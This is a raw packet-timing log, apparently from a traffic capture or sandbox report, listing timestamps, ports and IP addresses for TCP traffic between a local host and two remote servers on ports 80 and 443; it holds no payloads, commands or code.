Oct 30, 2024 21:56:20.416786909 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.416800022 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.417232990 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.417279005 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.417295933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.417308092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.417342901 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.417356968 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.417422056 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.417433977 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.417465925 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.470560074 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.470623970 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.470779896 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.470787048 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.471124887 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.471175909 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.471179962 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.471208096 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.471303940 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.471323013 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.471338034 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.471338034 CET	50234	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.471343994 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.471349955 CET	443	50234	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.532002926 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.532031059 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.532042980 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.532088041 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.532090902 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.532124996 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.532140970 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.532151937 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.532155037 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.532181978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.532197952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.532197952 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.532203913 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.532250881 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.533126116 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533137083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533148050 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533178091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533190012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533198118 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.533200026 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533198118 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.533214092 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533226013 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.533262014 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.533864975 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533888102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533899069 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533920050 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.533942938 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.533958912 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533970118 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.533981085 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.534003019 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.534053087 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.648241997 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.648267031 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.648283005 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.648304939 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.648329973 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.648399115 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.648447990 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.648471117 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.648482084 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.648514986 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.648530006 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.648719072 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.648735046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.648747921 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.648770094 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.648783922 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.648998976 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649032116 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649045944 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.649049044 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649061918 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649070978 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.649090052 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.649101973 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.649535894 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649547100 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649585962 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.649687052 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649698973 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649705887 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649750948 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.649760962 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.649760962 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649774075 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649784088 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649796963 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.649800062 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.649820089 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.649844885 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.650645018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.650659084 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.650670052 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.650712013 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.650741100 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.679106951 CET	50235	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.679132938 CET	443	50235	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.679208994 CET	50235	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.679522991 CET	50235	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:20.679533005 CET	443	50235	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:20.764564991 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.764611006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.764717102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.764728069 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.764739037 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.764760971 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.764767885 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.764767885 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.764767885 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.764772892 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.764785051 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.764811993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.764832020 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.765300035 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765358925 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765358925 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.765414953 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.765448093 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765456915 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765503883 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.765700102 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765712023 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765723944 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765750885 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.765779018 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.765860081 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765871048 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765882015 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.765938044 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.766138077 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.766149998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.766165972 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.766175985 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.766186953 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.766216993 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.766590118 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.766601086 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.766612053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.766622066 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.766633034 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.766644955 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.766678095 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.766678095 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.881011009 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.881026030 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.881040096 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.881057978 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.881067991 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.881083965 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.881206989 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.881206989 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.882013083 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882021904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882031918 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882072926 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.882106066 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.882113934 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882122993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882137060 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882157087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882168055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882174969 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.882178068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882189035 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882194042 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.882199049 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882211924 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882221937 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.882230997 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.882253885 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.882281065 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.882967949 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.883017063 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.883024931 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.883028984 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.883048058 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.883058071 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.883063078 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.883066893 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.883084059 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.883111954 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.883141041 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.926282883 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.926296949 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.926311016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.926346064 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.926402092 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.997541904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.997564077 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.997575998 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.997595072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.997617006 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.997617006 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.997627974 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.997675896 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.997745991 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.997766018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.997776031 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.997791052 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.997818947 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.998353958 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998392105 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998399973 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998400927 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.998411894 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998423100 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.998439074 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.998465061 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.998526096 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998537064 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998569012 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998574972 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.998580933 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998620987 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.998879910 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998898983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998908043 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.998924017 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.998951912 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.999134064 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.999177933 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.999195099 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.999211073 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.999222040 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.999233007 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.999238968 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.999264956 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.999280930 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.999643087 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.999691010 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:20.999726057 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:20.999768972 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.042820930 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.042833090 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.042844057 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.042911053 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.042912960 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.042956114 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.077522039 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.080291033 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.114077091 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114098072 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114109993 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114121914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114135027 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114167929 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.114206076 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.114483118 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114494085 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114505053 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114542961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.114876986 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114888906 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114902020 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114914894 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114931107 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114937067 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114945889 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114945889 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.114959955 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.114983082 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.114983082 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.115022898 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.115305901 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.115358114 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.115390062 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.115401983 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.115413904 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.115426064 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.115443945 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.115466118 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.115777969 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.115904093 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.115912914 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.115952015 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.115955114 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.116065979 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.159143925 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.159163952 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.159174919 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.159187078 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.159248114 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.159307003 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.159656048 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.159665108 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.159715891 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.242698908 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.242722034 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.242727995 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.242737055 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.242747068 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.242758036 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.242768049 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.242779016 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.242789984 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.242799044 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.242854118 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.243014097 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243024111 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243035078 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243068933 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.243088961 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.243099928 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243110895 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243120909 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243130922 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243143082 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243154049 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243154049 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.243175983 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.243192911 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.243979931 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.243989944 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.244000912 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.244009018 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.244049072 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.244080067 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.275490046 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.275702953 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.275712967 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.275722027 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.275732994 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.275742054 CET	80	50233	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:21.275779009 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.275832891 CET	50233	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:21.308866978 CET	443	50235	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:21.308957100 CET	50235	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:21.310101032 CET	50235	443	192.168.2.5	188.114.96.3
Oct 30, 2024 21:56:21.310108900 CET	443	50235	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:21.310327053 CET	443	50235	188.114.96.3	192.168.2.5
Oct 30, 2024 21:56:21.314332008 CET	50235	443	192.168.2.5	188.114.96.3
